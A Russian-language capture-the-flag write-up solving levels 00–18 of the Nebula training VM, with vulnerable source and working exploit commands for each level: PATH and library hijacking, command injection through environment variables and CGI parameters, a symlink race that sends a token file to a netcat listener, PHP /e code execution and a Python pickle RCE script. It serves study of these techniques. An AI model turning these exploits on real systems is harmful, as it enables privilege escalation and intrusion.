Exploit Exercises или ещё один сайт для любителей VulnHub

в 13:04, , рубрики: ctf, exploit exercises, information security, linux, Nebula, permissions, shell scripting, Алгоритмы, информационная безопасность, Разработка под Linux

Exploit Exercises или ещё один сайт для любителей VulnHub - 1

Всем доброго времени суток, спасибо, что читаете мои райтапы.
Сегодня речь пойдёт ещё об одном сайте, который похож на VulnHub. Это Exploit Exercises. Несмотря на небольшое количество виртуалок, и их относительно давнюю публикацию, почерпнуть что-то новое можно и там. Тем более это компенсируется разнообразием и количеством уровней.
Начать предлагается с виртуальной машины под названием Nebula. Её мы сегодня и разберём.
Всего имеется 20 уровней, по следующим тематикам:

  • SUID files
  • Permissions
  • Race conditions
  • Shell meta-variables
  • $PATH weaknesses
  • Scripting language weaknesses
  • Binary compilation failures

Для каждого уровня создан отдельный пользователь levelXX, и пользователь flagXX привилегии которого нужно получить, для того чтобы выполнить от его имени команду getflag. Начнём!

Level00

Нас просят используя find найти и запустить SUID программу пользователя flag00. Ищем:

level00@nebula:~$ find / -user flag00 2>/dev/null
/bin/.../flag00

Запускаем:

level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Level01

Дан исходник уязвимого приложения, нужно выполнить getflag:

level1.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Вот, что бывает когда доверяешь env :)

level01@nebula:~$ cd /tmp/
level01@nebula:/tmp$ ln -s /bin/getflag echo
level01@nebula:/tmp$ PATH=/tmp:$PATH
level01@nebula:/tmp$ env echo
getflag is executing on a non-flag account, this doesn't count
level01@nebula:/tmp$ /home/flag01/flag01 
You have successfully executed getflag on a target account

Level02

Ещё один пример уязвимой программы, которая доверяет переменным окружения:

level2.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system("%s")n", buffer);
  
  system(buffer);
}

Просто меняем $USER:

level02@nebula:~$ USER="12|getflag"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo 12|getflag is cool")
You have successfully executed getflag on a target account

Level03

Тут сорцев нет, но есть crontab, и опасные права для директории:

writable.sh

#!/bin/sh

for i in /home/flag03/writable.d/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

level03@nebula:/home/flag03$ ls -ahl
drwxrwxrwx 1 flag03 flag03    60 2017-01-12 00:30 writable.d/
-rwxr-xr-x 1 flag03 flag03    98 2011-11-20 21:22 writable.sh*
level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh

Спустя некоторое время:

level03@nebula:/home/flag03$ cat /tmp/flag 
You have successfully executed getflag on a target account

crontab -u flag03 -l

*/3 * * * * /home/flag03/writable.sh

Level04

А тут нас просят, используя эту программу, прочитать содержимое файла token:

level4.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

level04@nebula:~$ ll /home/flag04
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04*
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token

Раз файл не должен содержать «token», он не будет содержать «token»:

level04@nebula:~$ /home/flag04/flag04
/home/flag04/flag04 [file to read]
level04@nebula:~$ /home/flag04/flag04 token
You may not access 'token'
level04@nebula:~$ ln -s /home/flag04/token /tmp/flag04lnk
level04@nebula:~$ /home/flag04/flag04 /tmp/flag04lnk 
06508b5e-8909-4f38-b630-fdb148a848a2

Level05

На этом уровне нас ждут не верно выставленные права для директории:

level05@nebula:~$ ll /home/flag05/
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup/
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh/

Резервные копии это хорошо, посмотрим что там:

level05@nebula:~$ ll /home/flag05/.backup/
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

Превосходно, приватный ssh-ключ. Подключаемся и выполняем getflag:

level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1
flag05@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level06

В описании говорится про учетные данные из прошлых версий Unix.

level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

Скармливаем хеш John'у, который определяет его как слово hello. Авторизуемся и забираем «флаг»:

level06@nebula:~$ ssh flag06@127.0.0.1
flag06@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level07

Пользователь flag07 написал своё первое приложение на Perl:

index.cgi

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/htmlnn";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Тут у нас отсутствие фильтрации параметров в переменной $host. Проверим порт, на котором оно висит:

level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port
port=7007

И успешно проэксплуатируем:
Exploit Exercises или ещё один сайт для любителей VulnHub - 2

Level08

Нас просят посмотреть дамп трафика и авторизоваться. Скачиваем его себе:

level08@nebula:~$ ls -lh /home/flag08
-rw-r--r-- 1 root   root    8302 2011-11-20 21:22 capture.pcap
$ scp level08@10.0.31.116:/home/flag08/capture.pcap ./

Посмотрим что там:
Exploit Exercises или ещё один сайт для любителей VulnHub - 3

Странно что в пароле присутствуют непечатаемые символы, после извлечения HEX дампа этого пароля и некоторого преобразования, получаем такой результат:

62 => "b"; 61 => "a"; 63 => "c"; 6b => "k"; 64 => "d"; 6f => "o"; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "e"; 0d => "."

Гугл быстро подсказал, что xterm использует байт 0x7f в качестве Backspace. Таким образом пароль: backd00Rmate
Коннектимся и запускаем getflag:

$ ssh 10.0.31.116 -l flag08
flag08@nebula:~$ getflag 
You have successfully executed getflag on a target account  

Level09

Нам доступна SUID обёртка на С для уязвимого PHP скрипта:

level9.php

<?php

function spam($email)
{
  $email = preg_replace("/./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/([email (.*)])/e", "spam("\2")", $contents);
  $contents = preg_replace("/[/", "<", $contents);
  $contents = preg_replace("/]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Строка $contents = preg_replace("/([email (.*)])/e", «spam(»\2")", $contents); довольно интересна:

  1. Если содержимое совпадает с регулярным выражением: "/([email (.*)])/";
  2. Оно заменяется на функцию spam, которая в качестве аргумента принимает значение в круглых скобках. А затем выполняется

Мы можем отправить любую команду:

level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval
level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag
You have successfully executed getflag on a target account

Level10

Программа которая полагаясь на access() отправляет по сети любой файл:

basic.c

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file hostntsends file to host if you have access to itn", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %sn", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %sn", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open filen");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %sn", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!n");

  } else {
      printf("You don't have access to %sn", file);
  }
}

Идея проста, так как сначала проверяется доступ к запрашиваемому файлу, а уже потом он отправляется, то используя ссылки, нужно поймать момент, когда:

  1. Ссылка будет указывать на файл, доступ к которому имеется;
  2. access() проверит этот файл;
  3. Ссылка изменится на файл, доступа к которому у нас нет;
  4. Программа успешно нам его отправит

Реализуем это. Циклом меняем ссылки:

level10@nebula:/tmp$ echo "token" > /tmp/token
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token flag10; ln -sf /tmp/token flag10; done

В другом окне запускаем цикл, который будет отправлять файл по ссылке:

level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done

У себя запускаем nc для прослушивания порта и вывода полученных данных:

while true; do nc -l -p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO Oo."; done

И практически сразу получаем токен:

token = 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Используя его как пароль, логинимся под пользователем flag10:

level10@nebula:/tmp$ ssh flag10@localhost
flag10@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level11

Есть программа, которая читает STDIN и выполняет его:

level11.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %dn", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

Но не всё так просто. Авторы пишут что есть, 2 решения, но как оказалось позже оба не работают. Но обо всём по порядку:
Сначала нас просят указать количество отправляемых байт, а затем в зависимости от этого количества, строка либо сразу передаётся в функцию process, либо предварительно данные копируются в память.
Функция process, XOR'ит их и затем отдаёт в system. Следовательно, нам нужно отправить строку, которая уже будет обработана XOR'ом:

flag11.py

#!/usr/bin/python
cmd = "/bin/getflagx00"
length = 1024
key = length & 0xff
enc = ''

for i in range(len(cmd)):
	char_byte = ord(cmd[i]) ^ key
	enc += chr(char_byte & 0xff)
	key = (key - ord(cmd[i])) & 0xff

if length != len(cmd):
	junk = "A" * (length - len(cmd))
	print( "Content-Length: %dn%s%s" %(length, enc, junk) )
else:
	print( "Content-Length: %dn%s" %(length, enc) )

Запускаем и ничего:

level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

В документации к функции system, находим это:

Не используйте system() в программах с привилегиями suid или sgid, потому что некоторые значения переменных окружения могут вызвать сбои в системе. Вместо нее рекомендуется использование семейства функций exec(3), но не execlp(3) или execvp(3). system() неправильно функционирует в программах с привилегиями suid или sgid тех систем, где /bin/sh заменено на bash версии 2, так как bash 2 обнуляет права при запуске. Debian использует измененный bash, который не производит при запуске этого действия так, как это делает sh.

Bash всех подвёл:

level11@nebula:/home/flag11$ ll /bin/sh
lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh -> /bin/bash*

P.S. Проверив это на отдельно скомпилированном бинарнике, получаем тоже самое. Гугл результатов не дал, видимо авторы обновили bash, а обновить задание забыли...

Level12

Как сказано в описании: бэкдор на 50001 порту. Хм, посмотрим:

level12.lua

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end

while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next timen");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**n")
      end

  end

  client:close()
end

И так, снова отсутствие фильтрации введённых данных. Добавим комментарий:

level12@nebula:~$ nc 127.0.0.1 50001
Password: 4754a4f4bd5787accd33de887b9250a0691dd198 #
Congrats, your token is 413**CARRIER LOST**

Ок, это сработало, попробуем нечто другое: 123; getflag > /tmp/flag12 #

level12@nebula:~$ nc 127.0.0.1 50001
Password: 123 ; getflag > /tmp/flag12 #
Better luck next time
level12@nebula:~$ cat /tmp/flag12
You have successfully executed getflag on a target account
level12@nebula:~$ 

Level13

Дан исходник, а самое главное вырезали, не хорошо:

level13_safe.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %dn", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violationn");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %sn", token);
  
}

Извлекаем строки:

level13@nebula:~$ strings /home/flag13/flag13
8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob
your token is %s

Дизассемблировав приложение в gdb, находим интересную строку:

0x080485a2 <+222>:	xor    $0x5a,%edx

У нас есть строка: 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob, у нас есть ключ: 0x5a, у нас есть операция: xor. Отправляем это в Python:

>>> ''.join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob'])
>>> 'b705702b-76a8-42b0-8844-3adabbe5ac58'

И успешно проходим авторизацию:

level13@nebula:~$ su flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
sh-4.2$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level14

Дана программа, которая шифрует всё что идёт на STDIN и отправляет в STDOUT, и есть токен, который нас просят расшифровать:

level14@nebula:~$ cat /home/flag14/token 
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.

Посмотрим на алгоритм в IDA:
Exploit Exercises или ещё один сайт для любителей VulnHub - 4

Ну всё просто, 1 строка на Python:

>>> ''.join([chr(ord(a[i])-i) for i in range(len(a))])
>>> '8457c118-887c-4e40-a5a6-33a25353165x0b'

Токен у нас, остался последний шаг:

level14@nebula:~$ su - flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
flag14@nebula:~$ getflag 
You have successfully executed getflag on a target account

Level15

Нас просят посмотреть вывод команды strace, на наличие аномалий:

level15@nebula:~$ strace /home/flag15/flag15

strace

execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 18 vars */]) = 0
brk(0) = 0x8d3a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf998584) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "177ELF111331p2221004"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xae4000, 4096, PROT_READ) = 0
munmap(0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write(1, «strace it!n», 11strace it!
) = 11
exit_group(11)

Странно что программа пытается подгрузить либы из /var/tmp/flag15/. Попробуем подсунуть ему свою libc.so.6:

#include <stdio.h>
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$
{
        execv("/bin/getflag", NULL);
        return 0;
}

Компилим и запускаем:

level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c 
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 
You have successfully executed getflag on a target account

Level16

Очередное Perl CGI приложение, которое висит на 1616 порту:

index.pl

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/htmlnn";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>n");
}

htmlz(login(param("username"), param("password")));

Содержимое $username сначала переводится в верхний регистр, а затем отправляется на исполнение через оператор ``.
Попытка, вставить команду, которая закрыла бы egrep, не увенчалась успехом. Но мы можем попробовать обойти верхний регистр с помощью метода из этой статьи:

level16@nebula:/tmp$ cat FLAG 
#!/bin/bash
getflag > /tmp/flag16log

Переходим в браузере по ссылке:

10.0.31.116:1616/index.cgi?username=`/*/FLAG`

И выводим наш флаг:

level16@nebula:/tmp$ cat flag16log 
You have successfully executed getflag on a target account

Level17

Как сказано в описании: Этот скрипт слушает порт 10007 и имеет уязвимость. Очень многословно.

level17.py

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

Но уязвимость есть, она в строке: obj = pickle.loads(line). Вот тут можно подробней узнать об её эксплуатации. Напишем скрипт для исполнения команд:

#!/usr/bin/python
import socket
import pickle

host = '10.0.31.116'
port = 10007
cmd = '''cos
system
(S'getflag > /tmp/flag17'
tR'''

s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
s.send(cmd)
s.close()

После запуска получаем RCE:

$ ./flag17.py 
Accepted connection from 10.0.31.183:50700

level17@nebula:~$ cat /tmp/flag17
You have successfully executed getflag on a target account

Level18

Нас просят проанализировать исходник и найти уязвимости. Сделаем это:

level18.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) 
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) 
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %sn", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.n", user);
  printf("%sn", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %dn", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, 'n'); if(p) *p = 0;
      p = strchr(line, 'r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as inputn", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to loginn");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shelln");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission deniedn");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

  1. void notsupported(char *what) -> dprintf(what); # А вот и уязвимость форматной строки
  2. void login(char *pw) -> fp = fopen(PWFILE, «r»); # Файл открывается, но, его никто не закрывает

Остановимся на функции login, тем более как раз она отвечает за авторизацию. Попробуем создать очень много файловых дескрипторов. В результате, fopen должна вернуть NULL, а затем судя по коду, выставится флаг авторизации. Нам нужно будет только запустить shell:

python -c 'print("login men"*2000 +"closelognshell")' | ./flag18 --init-file -d /dev/tty

Получаем кучу сообщений об авторизации, и собственно шелл:

logged in successfully (without password file)
ls
flag18 password
cat password
